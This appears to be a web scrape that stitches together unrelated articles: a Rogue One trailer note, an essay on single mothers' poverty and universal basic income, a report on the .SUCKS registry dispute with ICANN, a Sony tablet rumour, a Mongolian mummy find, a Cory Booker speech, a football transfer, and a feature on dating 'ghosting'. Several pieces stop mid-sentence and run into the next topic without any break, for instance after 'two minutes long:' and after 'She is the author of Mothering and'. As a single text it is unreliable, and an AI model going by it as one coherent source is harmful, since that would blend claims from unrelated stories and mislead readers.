The part that jumps out is the “3-minute trailer for “Rogue One: A Star Wars Story.” I can’t wait to see this. Rogue One is going to be a lot of fun.
Further listings of the same event here.
There we have it–it is very likely a new Rogue One trailer in about ten days and it will be on television. I imagine StarWars.com and its social media accounts will also facilitate the ability to watch the trailer earlier than the television show above. Either way, I’ll watch it!
The last trailer was just under two minutes long:
Harper discovered she wasn’t alone when she packed up her house, stopped paying rent and took her four-year-old son, Finn, on a six month “holiday” up north to warmer climes.
“I found in every camp site, especially the show grounds as they’re the cheapest ones that still have facilities, there were a couple of other single mums and their kids. I was also travelling with a friend and her son, so there were often five or six of us and a bunch of kids at each campsite. Up north there’s even more. Over time we became familiar with each other.”
Harper gave up her home because she couldn’t afford the rent and have any quality of life. Paid work put her in a double bind: if she worked, she lost most of her Centrelink payments; if she didn’t work there wasn’t quite enough to make ends meet. So, she worked and stayed poor. These are the poverty-traps that keep many single mothers working-poor and unable to dig out.
In Australia now, there is a clandestine group of mobile single parents, mostly mothers, who have found they cannot, on Centrelink benefits and low-paid casual work, meet the cost of living. They have chosen instead to travel and live with their children in camping grounds and caravan parks around Australia, particularly in Northern NSW and Queensland, where living outdoors is relatively easy. For as little as $10 a night at national parks and showgrounds and up to $25 at caravan parks that have showers, washing machines and other facilities, they live on the move. Harper and Finn travelled between both—a few days roughing it in national parks followed by a return to “civilisation”, taking showers, washing clothes and sharing dinners with friends at caravan parks. Here Finn could play with other children, some of whom were becoming familiar as they met in parks across Victoria and NSW. The vibe at the caravan parks sounds convivial—better than yelling at your kids to get ready for childcare and school, so you can go to a low-paying job and never see them—but also a little Orwellian: this is not a holiday; it’s homelessness with benefits.
Harper announced her “holiday” to friends and family on social media. Here they could follow her adventure in photos and status updates. “I had to call it that; I couldn’t admit to myself it was anything else”. The 6-month, 12-month or indefinite camping “holiday” is a functional, adaptable and resourceful response to the poverty traps single mothers so often find themselves in, and since the “welfare reforms” of the Howard years and Gillard’s removal of the sole parent pension for those with children over eight (ironically on the historic day of her misogyny speech), it is no surprise that this practice is growing. The truth is, some single parents can no longer work within the system; it is simply too hard. So, like other vulnerable mobile populations, they’re outside of it.
Harper told me there is a Facebook group dedicated to this practice but asked I didn’t share the name as it’s currently illegal to have no fixed address—or in other words, be homeless—and in receipt of Centrelink benefits, arguably when you need it most! People who have given up their home for long term camping and travel, often mixed with sleeping in their cars, provide the addresses of family and friends to meet eligibility criteria; in reality, paying rent has become too expensive.
With the turn to surveillance of welfare recipients—take the 2015 case of Tania Sharp whose Facebook status update of her pregnancy was used against her in court as evidence of welfare fraud—we move to a new kind of welfare state: the surveillance state. This is a net, but, far from a safety net catching people who fall, the analogy is closer to a fishing trawl where the recipients—disproportionately poor women and children—are being hunted and caught. The infamous robo-debt scheme also disproportionately catches single mothers in its “net”. There’s no safety in this net; rather there’s punishment, gender specific punishment, for not being “safely” ensconced in patriarchal marriages or well-paid jobs. Most so-called “welfare cheats” are single mothers.
Universal Basic Income (UBI) is a radically different concept—nobody has to apply, prove their worth, pretend they have or do not have a home, justify their sex-life or living arrangements, or fill out 20 page complicated and often contradictory forms. There are no deserving and undeserving poor, no recipients cast as “cheats”. The underlying philosophy is completely different: everyone has a right to a share in the collective wealth; they don’t need to bear a stigma or struggle for recognition, and unpaid care work is socially valued.
With the massive rise in the cost of living, particularly the cost of housing over the last decade, but also energy and telecommunication bills, many can no longer afford to meet their monthly payments or, like Harper, if they can, there is absolutely nothing left over and the stress involved in achieving this end makes daily life a struggle. Harper found she was cutting corners everywhere: meals were less nutritious, she didn’t have time to cultivate social relationships, and her mothering was compromised. When she gave up her house (a share house), sold almost all of her belongings and hit the road, she felt a freedom and control over her life she hadn’t had since Finn was born. Travelling for six months lifted the burden she felt around managing dual roles and her payments were not automatically chewed up on rent and bills. Harper had time with her son—literally all day long—which she cherished and claims healed their relationship.
“It felt like Finn was always between me and what I needed to do [go to work]. I had to rush and he wanted time; I had to put him in childcare and he wanted to be with me; he was always clingy and demanding and had begun acting out; I found him difficult to be around. I could never afford holidays so we never got a break from this stress and pressure. This is why I called it a holiday because it was a break from this cycle of exhaustion and poverty and stress.”
Travelling meant Harper was able to reconnect with her son. He also had playmates in the caravan park with their communal yet contained play areas. Harper had friends to share dinners with. There is now a small but growing population of homeless single parents who live this way; they’re home-schooling their kids or still have pre-schoolers. They’re on the move—but not in any socially sanctioned way. They’re not travelling like young people, or middle-income families or retired baby-boomers. Not quite refugees, but certainly rendered so vulnerable that they are unable to take root and live in society, or at least not permanently. They are on its “flexible” fringes recast as mobile passengers; not quite in and not quite out. While I laud the innovative adaptation to circumstances, which not only gets out of the iron triangle (working to pay the rent and paying the rent to work; paying for the car to drive to work to pay for the car) but solves a number of other problems of modern living: highly regulated schedules, less and less time for children and relationships, leisure based on meaningless consumption. Nonetheless, there is still a remainder: “chosen” homelessness is not an answer, at least not at the structural level, to the problem of (single) mothers’ poverty. It is an idiosyncratic not an institutional solution.
This is one story of poverty and homeless that is emerging on the fringes of our society. I have another …
Naomi rents her beautiful four-bedroom home on Airbnb every weekend for around $800. She has three teenage kids who stay at their friends’ houses or accompany her to her parents’ houses, one and two hours away respectively. On occasion they have driven further afield for a bed. As a wife and mother who took “a long time”1 to complete her studies while caring for her three children, Naomi doesn’t have great employment prospects. Into her mid-40s now and currently going through a divorce, she has very few avenues for earning an income and can no longer rely on her breadwinner spouse. She doesn’t have the track record for professional employment despite now having multiple degrees. She applies for many jobs, has been shortlisted for two and has been given none. The gig economy provides an instant if unstable solution to the immediate problem of income. She doesn’t need an uninterrupted CV, a talent for bullshit and three professional referees to list her home on Airbnb, but neither does Airbnb give her any job security or superannuation. She’s thinking about Uber too; she has a people mover—good for mums with large families and, as it happens, trips to the airport from her regional home. The gig economy is not and never will be a substitute, but it has certainly stepped in to fill a yawning economic gap. Living in a trendy tourist town and thanks to marriage to a high earning spouse, Naomi owns—at least for now—a beautiful home. She enjoys hosting and also rents rooms during the week. However, after eight hours of laundry, making beds and cleaning to hotel standards, she has to clear out of her own home for the weekend, every weekend. Everyone she and her children stay with has the sense that this is not an independent visit but a need, which puts a strain on relationships.
Naomi’s weekend homelessness is also a novel and adaptive solution to the crisis of income in her system, but it comes at a cost: the children are disrupted in their routines. “The kids and I find it really disruptive, but how else can I make $800 to pay the mortgage and bills? How? The bank would reclaim the house if I didn’t do this”.
Naomi only receives a small Centrelink benefit since her kids are all teenagers and she’s supposed to get a job. The problem is she’s both over and under qualified—she has several degrees, including a postgraduate research degree, but almost no work experience. There isn’t a lot of casual work in regional Victoria and she is still actively mothering; or, as is the case with older kids, ferrying them around. “I still need to pick the kids up from the bus stop, take them to their friends’ places and after school activities, cook them dinner, make sure they’re doing their homework”. For Naomi, being away at a job and adding an hour each way for commuting isn’t an option as a lone primary carer. Then there’s the emotional fall-out of the divorce. The children need her to facilitate and foster their lives. What job realistically accommodates this?
“I don’t have the years of experience and so without Bob paying the mortgage and bills and not being eligible for single parent support, this is how I’m living. Running a BnB suits me and at least I can be there for the kids.”
Naomi would prefer a job but this is her novel solution for now. The gig-economy is stepping in to fill the gap, albeit poorly.
Mothers and basic income
UBI offers an alternative to these poverty traps that are increasingly ensnaring women in the space between low-income waged work, declining welfare and unstable, abusive or non-existent marriages. It makes a new gender contract possible and facilitates women’s economic independence. Women have gained this independence as individuals—the individuals of the liberal social contract—but they have not done so as mothers. As we shall see, on almost every index mothers earn less, have less time to earn more, undertake the great majority of unpaid care work, and suffer the highest pay and promotion gaps and, here’s the rub: most would prefer to care for their children, especially when they’re young. As Catherine Hakim’s large-scale research shows, most mothers prefer to combine paid work with care work, while up to 20% prefer to stay at home full-time (2000). Basic income offers mothers, especially single mothers, a means to achieve economic independence at a modest standard while disentangling this from the interlocking and mutually reinforcing institutions of marriage, employment and welfare. In a modern liberal-democratic society, this is the proper foundation of liberty, of mothers’ liberty.
Women’s unpaid care work used to be “paid for” through the institution of marriage (as it often still is, albeit in modified form). That is, through the distribution of the husband’s wage to the whole family. This was the basis of the family wage that sanctioned men being paid at a higher rate than women. However, with men’s declining employment rates and stagnating wages, rising rates of divorce and more children born out of wedlock, poorer mothers’ access to a share of our collective wealth has declined. Women have always had lower wages and a radically compromised capacity to earn an income if they are the primary carers of their children (as most women are); this is not new. What is new is that under neoliberalism all people are required to maintain a full-time secure attachment to the labour force over a lifetime, regardless of their capacity to do so. Now that marriage is both an optional and a soluble institution, this situation has become acute for separated, divorced or never married mothers and we see it showing up in the feminisation of both poverty and homelessness.
From the opposite perspective, what I find interesting, immersing myself in the focus on automation and precarity in the broad basic income literature, including academic and journalistic articles alike, is the assumption that precarious access to employment is something new. Certainly, on a mass scale it is for most (though not all) men and the spectre of middle class professionals losing their jobs—something already happening in fields like journalism and academia and likely in the health sector next—is a very significant social and economic change; but for all but the most privileged women this economic precarity is the historical and contemporaneous norm. Thus, while a full-time, well-paid job over a lifetime is the route to economic security, notwithstanding the rhetoric of gender equality, very few women have ever had such jobs. So, my argument isn’t just that basic income is the only viable macro-economic answer to increasing economic inequality—specifically, the decline of full-time, secure jobs—but that it is a crucial answer to the as yet unresolved issue of gender justice under capitalism.
While I support a basic income for everyone, I think it is important to identify the specificity of mothers in this debate, given both the tendency to ignore the centrality of gender justice and the extent to which, when gender is centred, motherhood is glossed over. In fact we need to make the socio-economic impact of becoming a mother and of mothering work explicit.
Women who are not mothers, not-yet mothers, or long past actively mothering dependent children are all in quite different socio-economic positions (although of course the structural effects of mothering last a lifetime). It’s not that gender doesn’t matter; it’s just that motherhood matters more.
We can look at this demographically variegated landscape by looking at the gender pay gap and then looking at how motherhood impacts this.
In Australia, women’s full-time wages were 82.8% of men’s, with a wage gap of 17.2%. The gender pay gap has grown over the last decade from 14.9% in 2004, to a record high of 18.8% in February 2015 before falling slightly again in 2016. As a result women are earning less on average compared to men than they were 20 years ago!
However, this figure is calculated without including overtime and bonuses, which substantially increase men’s wages, or part-time, which substantially decreases women’s wages. In other words, “83 cents in the dollar” substantially overstates wage parity. When this difference is factored in, the pay gap widens to just over 30%. And in the “prime childrearing years” between ages 35–44, this gap widens to nearly 40%.
A more realistic figure is gained by looking at full-time versus part-time earnings as well as average male and female earnings directly. Here we see the pay gap more clearly. For example, in 2016, average weekly earnings were $1,727.40 for male employees and $1,010.20 for female employees (a difference of close to $720 per week). However, most mothers work part-time which exacerbates this pay gap yet again.
If we consider full-time and part-time work, the wage disparity widens further. Compare the $1,727.40 for full-time male employees with $633.60 for part-time female employees; now we have a gap of over $1100 per week! Close to half of all Australian women worked part-time in 2015–16—44% (double the OECD average). However, this figure rises to 62% for mothers with a child under five and almost 84% for those with a child under two. Close to 40% of all mothers work part-time regardless of the age of the child, while only 25% worked full-time.
The remainder, it needs to be remembered, were out of the workforce altogether. As the ABS put it, “Reflecting the age when women are likely to be having children (and taking a major role in child care), women aged 25–44 years are more than two and a half times as likely as men their age to be out of the labour force.”
Age of youngest child is a key predictor of women’s labour force participation although it has almost no bearing on men’s labour force participation and when it does it is in the opposite direction: fathers of younger children typically undertake more paid work. Moreover, a quarter of all female employees work casually and their average weekly earnings were just $471.40. Think about that—a quarter of all working women earn less than $500 a week! These days that barely covers the rent let alone food, bills, and educational and commuting costs.
Occupational segregation and motherhood wage penalties also kick in to this mix. If we look at labour force participation, we see that coupled mothers have higher rates of participation than single mothers given the additional support they receive with childcare and income.
Given the average full-time male wage is significantly higher than the average female wage and, moreover, that women carry the overwhelming share of unpaid care and domestic work and thus typically work parttime in their key childrearing years—and, we should remember, fully a quarter do not work at all!—this is not simply a matter of two incomes being better than one, which is of course true, it is that access to a share of male monopolised wealth—that is, to put it in stark terms, access to a husband—is essential for mothers to avoid poverty.
In broad terms, the closer we are to mothering dependent children, including especially infants and preschoolers, and the further we are from access to a male wage, the poorer we are as women.
Never married single mothers with dependent children are the worst off and it moves progressively from there, with young, educated, urban, never-married, childless women earning very close to, and in certain cases in the US, outstripping average male wages. This contrast gives us a sense of the variegated nature of women’s socio-economic position and again highlights that mothers are a distinct group and, more fundamentally, that the life course transitions of marriage and motherhood continue to negatively affect women’s (independent) socio-economic status.
Often when we’re talking about women’s lower labour force participation and lower earnings, then, we’re actually talking about mothers’ lower labour force participation and lower earnings and, more specifically again, we’re talking about mothers with dependent children; although the lasting effects of care labour means women across the spectrum have reduced earnings, assets and retirement savings if they have mothered.
To highlight this point, Australian sociologist and time use scholar Professor Lyn Craig has shown that many of the socio-economic disadvantages affecting women are, in fact, specific to mothers.
As she says,
“… the marker of the most extreme difference in life opportunities between men and women may not be gender itself, but gender combined with parenthood. That is, childless women may experience less inequity than women who become mothers.”
Another important reason we need to differentiate mothers from women is that over the last 40 years the standard female biography has changed significantly. Whereas once adulthood was by and large synonymous with marriage and motherhood for women, on average women now have a long stretch of adulthood—from the late teens to around age 30—before they have a first child.
For educated and/or unpartnered women, the birth of a first child is often later again into the 30s and sometimes up to 40. Moreover, while only around 10% of women did not become mothers in the mid and later twentieth century, this has now risen to 24%. So, not all women are mothers and many women experience a large chunk of adulthood before they become mothers and after they are actively mothering dependent children.
So there are structural and individual injustices that are specific to mothering dependent children, including an unequal division of domestic labour, unequal access to jobs given the unpaid work load at home, employment built on an implicit breadwinner model that is incompatible with parenting (including school hours, school holidays, sick children and so on), discrimination in the workplace and, in the event of unemployment and/or divorce, an increasingly punitive welfare state and a high risk of poverty. Single mothers and their children make up the bulk of those under the poverty line in the western world. In Australia, of all family groups, single parents constitute the largest single group of those living in poverty (proportionally).
Marriage is no longer the safety net (or gilded cage) it once was with just over 30% of marriages ending in divorce in Australia and predicted to rise to 45% in the coming decades. Additionally, fewer people are entering into marriages and cohabiting relationships have even higher rate of relational breakdown than marriages.
This means a large and growing number of women who are mothering children are caught in this literal economic no-man’s land without adequate access to waged employment, a breadwinner husband, or welfare. I am not suggesting that access to a husband is a right; I am suggesting that the liberal dissolution of the institution of marriage has not been followed with any viable economic alternatives for mothers. Basic income is the obvious choice to stop a large and growing number of women sliding into poverty.
Mothers undertake the bulk of unpaid care work, without which our society would cease to function. To turn this around, we need to ask: is it acceptable that as a society we free-load on this care?
Mothers’ economic autonomy—that is the very foundation of their citizenship and their liberty— is undermined by the extant intersection of the institutions of marriage, employment and welfare. It is on this basis that I am identifying mothers, and more still single mothers, as a specific socio-economic and political group in urgent need of basic income. This is a human rights crisis given that lone parent families are one of the fastest growing family forms in western societies and, moreover, that women head 80-90% of these families.
Unlike the contemporary issues put forward for basic income—namely, mass unemployment from automation and digitisation—the issues facing mothers are not new. Indeed they have been with us since the very inception of capitalism and the waged-labour system. Moreover, they are among the most compelling, given that women and their dependents comprise the majority of the poor. With the liberalisation of markets and marriage, a large and growing body of women and children, such as Harper and Naomi, are being left out of the social contract. Basic income is the critical policy answer to this problem.
Dr Petra Bueskens is an Honorary Fellow in Social and Political Sciences at the
University of Melbourne, a psychotherapist in private practice at PPMD Therapy and
a columnist at news media site New Matilda. She is the author of Mothering and
Yesterday, Vox Populi CEO John Berard officially responded to ICANN’s criticisms with a legal demand letter via Vox Populi’s attorneys, Fish & Richardson P.C. (Ars was provided a copy of the letter, which can be read here). In it, the attorneys lay out their counterclaims to ICANN’s accusations, essentially saying that Vox Populi believes ICANN’s points are baseless and that its pricing is consistent with what it believes to be the fair market value.
Of particular note is the statement early in the letter—that for all the implications of bad conduct, "None of the letters in question identifies any manner in which any law might actually have been broken." The letter continues:
[I]nstead they merely suggest (without explanation or logic) that Vox Populi's pricing may lead to "cybersquatting" that could damage trademark owners. At the same time, though, the ICANN IPC's letter expressly recognizes that registrations on Vox Populi's .SUCKS registry are subject to ICANN's various trademark dispute resolution processes, which protect trademark owners from cybersquatting. And although the ICANN BC letter to the FTC and the OCA asserts that ICANN "does not wish to limit free speech or prevent criticism of any business," the only coherent expression of any potential concern is that businesses may feel compelled to register their trademarks "to defend [their] reputation from critics or competitors controlling their brand domain in .sucks and using it unfairly to criticize their products or services." To the extent such competitive use or criticism is unfair, trademark owners have a full complement of remedies that they can seek both through ICANN's dispute procedures and the laws of various different nations.
The letter goes on to describe–extensively—the good faith efforts Vox Populi has made to fulfill the contractual obligations assigned to it by ICANN as a registry. It concludes by noting that, although the company isn’t interested in any formal legal action yet, it really would like ICANN to leave it alone:
We hereby demand that ICANN refrain from taking any further action in the future to impede Vox Populi's ability to operate the new TLD .SUCKS registry in accordance with its contractual rights and obligations.
The issue might be about to get bigger, though; at least partially in response to ICANN’s request for scrutiny, the United States House Judiciary Committee is stepping in. On May 13, the Subcommittee on Courts, Intellectual Property, and the Internet will hold a hearing titled "Stakeholder Perspectives on ICANN: The .Sucks Domain and Essential Steps to Guarantee Trust and Accountability in the Internet’s Operation."
Sony's tablet, according to Digitimes, will be big and crisp: It's said to feature a 12.9-inch display with a whopping 3,840 x 2,400 pixels, which would be able to produce stunning 4K pictures. It would be powered by a Qualcomm processor and come with an 8-megapixel camera on the back side.
The device, said to be mass produced by Pegatron (which is also one of Apple's suppliers), is said to be 8.6 mm thick. The 9.7-inch iPad Air 2 is 6.1 mm thick, and last year's iPad Air is 7.5 mm thick— it's unclear if Apple's bigger tablet would be much thicker than that. (Apple prides itself on thin and sleek devices.)
Digitimes says Sony's big tablet will likely cost more than $1,000 to "target mainly the high-end segment" of the market. Apple's cheapest iPad Air 2 (with 16GB of storage and Wi-Fi only) costs $399, and its most expensive model (128 GB of storage plus Wi-Fi and cellular) costs $829. So a 12- or 13-inch iPad, which might start at $699, could similarly cost more than $1,000 for some of the higher-end storage and connectivity options.
It's important to take the Digitimes report with a grain of salt. That said, the company certainly seems to have some sources within some of the biggest Asian supply chains — Pegatron, for instance, produces devices for the biggest tech companies in the world, including Apple, Sony, and Microsoft — and this wouldn't be the first time a tech company has tried to mimic Apple's moves before it makes them.
Discovered in Mongolia's Altai Mountains, the exceptionally well-preserved mummy, believed to have been a commoner, was buried with her earthly possessions – including a pair of shoes that bear more than a passing resemblance to Adidas sneakers.
The mummy's remains are in pretty good shape, all things considered. (Khovd Museum) ()
Evidently built to last, the kicks had some internet users speculating that the woman, who is thought to have been of common stock, may have been a time traveller.
Naturally, experts are more interested in what they can learn from the mummy, which they think was likely from a Turkic tribe.
A bag found with the body. (Khovd Museum) ()
"It is the first complete Turkic burial at least in Mongolia - and probably in all Central Asia," B. Sukhbaatar, a researcher at the Khovd Museum, in the Mongolian city of Khovd, told The Siberian Times .
"This is a very rare phenomenon. These finds show us the beliefs and rituals of Turkics. This person was not from elite, and we believe it was likely a woman, because there is no bow in the tomb," he said.
The accoutrements found with the remains, including the horse bridle and various trail paraphernalia. (Khovd Museum) ()
The woman was buried alongside her horse, which Mr Sukhbaatar was almost certainly sacrificed, as well as a significant collection of other possessions, including a saddle, bridle, clay vase, wooden bowl, trough, iron kettle, and several changes of clothes.
"Now we are carefully unwrapping the body and once this is complete the specialists will be able to say more precisely about the gender," Mr Sukhbaatar said.
"The finds show us that these people were very skilled craftsmen. Given that this was the grave of a simple person, we understand that craft skills were rather well developed."
The New Jersey Democrat said there is a long road ahead before the lesbian, gay, bisexual and transgender community obtains equal rights under the law, during his address to the Human Rights Campaign's equality convention at a District of Columbia hotel Friday afternoon.
The mantra stemmed from his time as an activist in Newark, N.J., when he was distraught after witnessing a young boy die after being shot. A tenant president who lost her own son to murder repeated those words to Booker. Now, he said, the words guide him as a senator.
"When I came down to Washington, and some days feel like I’m banging my head on an implacable wall when I can’t even get one Republican to sign onto a piece of legislation justifying and affirming rights and equality, I say these two words,” Booker said.
He seemed to refer to the Equality Act, which would amend the 1964 Civil Rights Act to prohibit discrimination based on sexual orientation and gender identity.
Lawmakers introduced the Equality Act the day after the Supreme Court decision that rendered same-sex marriage legal in all 50 states. Booker stressed that the activists must honor the civil rights leaders who came before them by working to end discrimination.
"We pay it forward by our conviction that here in America we cannot have a nation where, in the majority of our states, you may now be able to get married. But in those states, the next day after your wedding when you post your pictures on Instagram, Facebook, and yes, Snapchat, that the next day you could be homeless because you’re kicked out of your housing, jobless because you’ve been denied your job based on who you are,” Booker said.
Booker's remarks to the activists came one day after more than 100 Human Rights Campaign volunteers visited more than 150 congressional offices to advocate for the Equality Act, other anti-discrimination legislation, funding for HIV and AIDS programs and research, and consideration of President Barack Obama's Supreme Court nominee.
So far the bill's prospects are bleak in the GOP-controlled Congress. Only one Republican House member and one Republican senator have agreed to co-sponsor the Equality Act: Rep. Robert J. Dold and Sen. Mark S. Kirk, both of Illinois. Both lawmakers, as one GOP strategist pointed out, are in danger of losing their seats in 2016.
The Rothenberg-Gonzalez Political Report/Roll Call rates Dold's re-election race as a Toss-Up, and Kirk's as Toss-up/Tilts Democrat . During a panel at the convention on the presidential election, Brian Walsh, who served as the National Republican Senatorial Committee spokesman during the 2010 and 2012 cycles, named the two lawmakers as examples of moderate Republicans who could get swept up in an anti-GOP wave should billionaire Donald J. Trump or Sen. Ted Cruz, R-Texas, be the Republican nominee.
"That worries me because you do need more people who are willing to compromise in government, because that’s how our system of governance is set up,” Walsh told the HRC convention.
Walsh elaborated after the panel in a brief interview that GOP support is necessary for bills like the Equal Rights Act to become law.
"I think if you’re the Human Rights [Campaign], this organization, on the one hand you want to elect as many Democrats as possible," Walsh said. "But for things to get done, you’re going to need Republican support."
Walsh did not anticipate that LGBT rights would be a top issue in the 2016 election.
"I think the Supreme Court decision took a lot of oxygen, for lack of a better term. I just don’t think, for good or bad, that this is going to be a dominating issue in the campaign," Walsh said. "The economy, the general direction of the country, I think that’s going to far overtake even issues like this, issues like guns, pick your range of other issues."
But one issue that will likely be at the forefront of the campaign debate is the Supreme Court. The court now has a vacancy after Justice Antonin Scalia's death on Feb. 13. Senate Republicans have vowed not to consider Obama's nominee, arguing that the next president should fill the vacancy.
For the gay rights activists, the balance of the court is key to preserving their progress thus far. The court rendered the July 2015 same-sex marriage decision on a 5-4 margin.
"That is now the law in all 50 states but we still have so much work to do and important progress to defend,” Robby Mook, campaign manager for Democratic presidential hopeful Hillary Clinton, told the convention.
The Human Rights Campaign endorsed Clinton in January. Mook received a standing ovation from the convention's attendees, who were also selling Clinton campaign T-shirts and passing out stickers with her "H" logo. (Some merchandise also poked fun at Trump's "Make America Great Again" slogan with hats that read, "Make America Gay Again.")
Mook is the first openly gay manager of a major presidential campaign. And he stressed to the activists at the convention that the upcoming election is pivotal to their push for gay rights.
"If the stakes weren't high enough, now the Supreme Court hangs in the balance," Mook said. "All of that progress is on the line in this election."
Contact Bowman at @bridgetbowman@cqrollcall.com and follow her on Twitter at @bridgetbhc.
Tshibola, 22, arrived at Stadium MK on Thursday to complete the move which will see him remain with the Dons until the end of the 2017/18 campaign, subject to clearance from the relevant bodies.
The 6ft 3in central midfielder has totalled 25 Sky Bet Championship appearances for clubs such as Reading, Nottingham Forest and the aforementioned Villa. Tshibola also played 23 league games during a loan spell with Hartlepool United.
He becomes Robbie Neilson’s eighth signing ahead of the new season.
“I’m delighted,” Tshibola told iFollow MK Dons. “I the met the manager - he was totally ambitious and sold the club to me. The club matches my ambitions and I feel like this is the perfect place for me to be right now.
“I want to get back playing and enjoying my football. I feel like, at this time in my career, playing games is the most important thing for me. Hopefully I can do that and help the team strive for some success this season.”
Robbie Neilson said of his new signing: “It’s a move we’ve been working hard on for a while so to finally get it over the line is really pleasing for us.
“Aaron will bring great experience, energy and power to the team. He’s a Championship-calibre player so it’s a top signing for us.
“I think it shows how far we’ve come and where we’re trying to get to, that we can attract someone of Aaron’s quality.”
After three months of dating, 23-year-old Michael was optimistic about his relationship with Linda*. They were together often, and he'd even met her parents. One night at dinner, the "where is this going?" conversation came up. Michael and Linda mutually agreed that they wanted to move forward in the relationship. He dropped her off at home, kissed her goodnight ... and never heard from her again.
After his attempts to reach her went unanswered, Michael put on his cute-guy hat and delivered Linda's favorite cupcakes to her office -- only to find out his name had been removed from the guest list at the gate.
Ghosted.
The term "ghosting" (sometimes known as the "slow fade") refers to the anecdotally pervasive act where one dater ends a relationship by simply disappearing. The ghost does not give an explanation of any sort, leaving the ghosted wondering where he or she went wrong.
This phenomenon isn't new, of course -- prehistoric daters sat by their curly-corded phones waiting for their ghosts to call, and assumed that call must have come when he or she was out of the house. (The Discovery Channel has yet to confirm the anecdote, but current 20-somethings speculate as much.)
But in an era of Tinder, OKCupid, JSwipe and Hinge, matchmaking often happens by swiping right and left, making potential daters literally disposable. The ease of app and online dating has allowed ghosting to take new form. Chelsea, a 25-year-old Manhattanite who has been both a ghost and a ghostee says the fast-paced, onto-the-next mentality of online dating makes the need for an "it's not me, it's you," conversation irrelevant. "Even after one or two dates they are still just a profile to you, not a person. I don't feel the normal empathy I would for someone I met organically," she said.
Logan Levkoff, sexologist and expert on "Married At First Sight," explained that online dating and apps take the humanity out of the process a bit, which could make users prone to being ghosted. "[Because] all it takes is a swipe," she said. "The quantity [of how many people experience ghosting] is more because it's so easy to do and it requires very little human engagement in order to do it."
In fact, in a poll conducted by YouGov and The Huffington Post, respondents ages 18-29 were more likely to admit they've experienced ghosting on either end than any other age group.
Breaking Up Is Hard To Do
Dating is, in some ways, a metaphor for Halloween. ('Tis the season, go with me here.) Trick-or-treaters go from house to house, tasting all different types of "candy" (aka men or women) until they're completely exhausted. They go home, put on comfier clothes, consume literal candy until they can't even breathe declaring to their friends, "I'M NEVER DOING THIS AGAIN." That is, until a cute guy or gal ... er, Hershey bar ... messages them.
In a 2012 study, researchers identified seven types of breakup strategies. Trick-or-treaters polled considered confrontation the best way to breakup, while they classified ghosting (avoiding/withdrawing from contact with your partner) the least ideal method to end a relationship. The YouGov/Huffington Post Poll confirmed these sentiments. Only 13 percent of 1,000 adults polled consider breaking up electronically very appropriate or somewhat appropriate.
But while most don't condone ghosting, that doesn't seem to influence whether they'll do it to someone else.
Chelsea admits that's the case for her and a bunch of her friends. "I'm a total hypocrite in that respect. I'll ghost someone without a second thought but when it happens to me I'm the first to run to my girlfriends in disbelief saying, 'The least he could do is let me down easy,'" she said, adding, "It's probably karma."
So, Is Ghosting Morally Wrong?
New York-based location scout Victoria Carter protested the slow-fade in a 2013 blog post on XOJane. "When you disappear into the ether without any indication why, all I can do is come up with a million and a half reasons why you’re not into me," she wrote. Ghost victims have certainly been there and done that too, wondering... He could be out of the country without cellphone service, maybe she really is busy at work, Miranda's date actually died in one SATC episode... it could happen.
To members of Ghosters Anonymous, Carter continued, "Until you close the door and close it completely, I can hold on to that tiny unrealistic shred of hope that you DO still want to hang out, and that maybe you’ll call (text, who am I kidding, nobody calls anymore and I hate it) and it’ll all be great."
But Greg Behrendt, author of the best-selling book turned movie, He's Just Not That Into You, firmly believes that silence speaks louder than any words could. "What I find weird is that there has to be an explanation after two dates. If someone doesn’t call you after a couple days, that should be enough to say, he's just not that... oh God, I don’t want to quote myself," he said (quoting himself anyway).
It's simple, and there's no need to contemplate the many "reasons" a date is unresponsive, he explained. "When someone's not texting you and you see they've read your text, then you should really get it," said Behrendt, who recently co-authored a book with his wife, appropriately called, It's Just A Fucking Date.
Defending ghost tendencies in an Oct. 2013 post on Slate, writer Amanda Hess echoed that sentiment:
The idea that a direct message is necessary to cement a relationship’s end is yet another obfuscation. When it comes to modern digital relationships, the rhythm of the exchange tells us as much as its literal content, and it doesn’t take any specialized skill to read between the lines. If you’re initiating all the texts in the relationship, the recipient just isn’t that into you; if you’re not getting any texts back, the recipient isn’t into you at all.
Yes, lack of response from someone you're digging feels crappy. But is it morally wrong? Behrendt doesn't think so -- and he can't understand why humans can't apply the same understanding about changed feelings to relationship as they do to virtually everything else.
"Feelings change about a lot of things... about a band, about a food, about certain things you thought were fun that you don’t think are fun anymore. But it becomes so profound in relationships like, 'that's never happened in the history of relationships and why would he just walk away?' Well haven’t you just walked away from a million different things in your life because you weren’t into it? It's the universe taking care of you saying, '"I'm sorry but that particular thing is over, go this way,'" he said.
But... What About R-E-S-P-E-C-T?
On the flip side, Levkoff feels offering an explanation -- even if it's a short one -- is just part of being a standup woman or man. "It's nice to be able to say to someone, 'Listen I've enjoyed getting to know you, but I don't think this is going to move forward in a romantic way,'" she said.
The likelihood is that you're not going to feel great if a relationship ends, be it one minute or a year. So a statement like that might hurt feelings, "but it means they respect you if they care enough to be upfront with what's going on," she said.
Plus, without a conversation, you run the risk of a ghost coming back to life. "When nothing else is going on those people tend to show up again, and then you're like what happened for all that other time?," Levkoff said.
Writing about the subject on The Date Report in May, reporter Sara Ashley O'Brien explained that ghosting just prolongs the time it takes to move on:
A simple acknowledgment of an appreciation for the time we did spend together, “Hey, I had a fun few dates with you but I don’t think we’re right for each other beyond that,” would provide so much more closure. It’s always a blow, but you can get over it in a few days. When the ghost disappears, you spend the first few days wondering when you’re going to get a text back and then weeks trying to figure out what went wrong.
At the end of the day, Levkoff explained, it's each ghost for himself. "We have to take ownership and hold ourselves accountable," she said.
It's not them, it's you?
In the days post-ghosting, the unanswered often retrace the ghost's steps, looking for possible clues as to why he or she disappeared. "I don't get it, we had such a great time on our date," or "He promised he would call! There were no signs!" are frequent quotes that friends of ghosting victims hear.
But Behrendt believes that's never the case -- there are always signs. "Part of it is the way you set the relationship up, and what you allow to happen so that somebody is going to be able to escape," he said. That's the big problem with #kidsthesedays and relationships via text or Tinder or Hinge. If the majority of your "relationship" takes place on one of these platforms, there's a surefire sign that the receiver of your iMessages might disappear. Rule of thumb, Behrendt warns: "If it's not in person, it's not real."
But given that not-in-person early courtships aren't going anywhere -- what's a woman or man who wants to avoid being ghosted to do?
Ghosts don't necessarily have personality patterns, and so, the onus is on you to be clear and upfront. Echoing Behrendt's take, Levkoff said, "If we don't acknowledge what we want right from the start, if the beginning of your relationship is about texting back and forth and the conversation is fairly benign and short, it lends itself to easy in, easy out she said."
That's one place where dating sites and apps might actually lend themselves, she explained. It's very easy to start a Tinder conversation with, "Hey, so why are you on here?" for example.
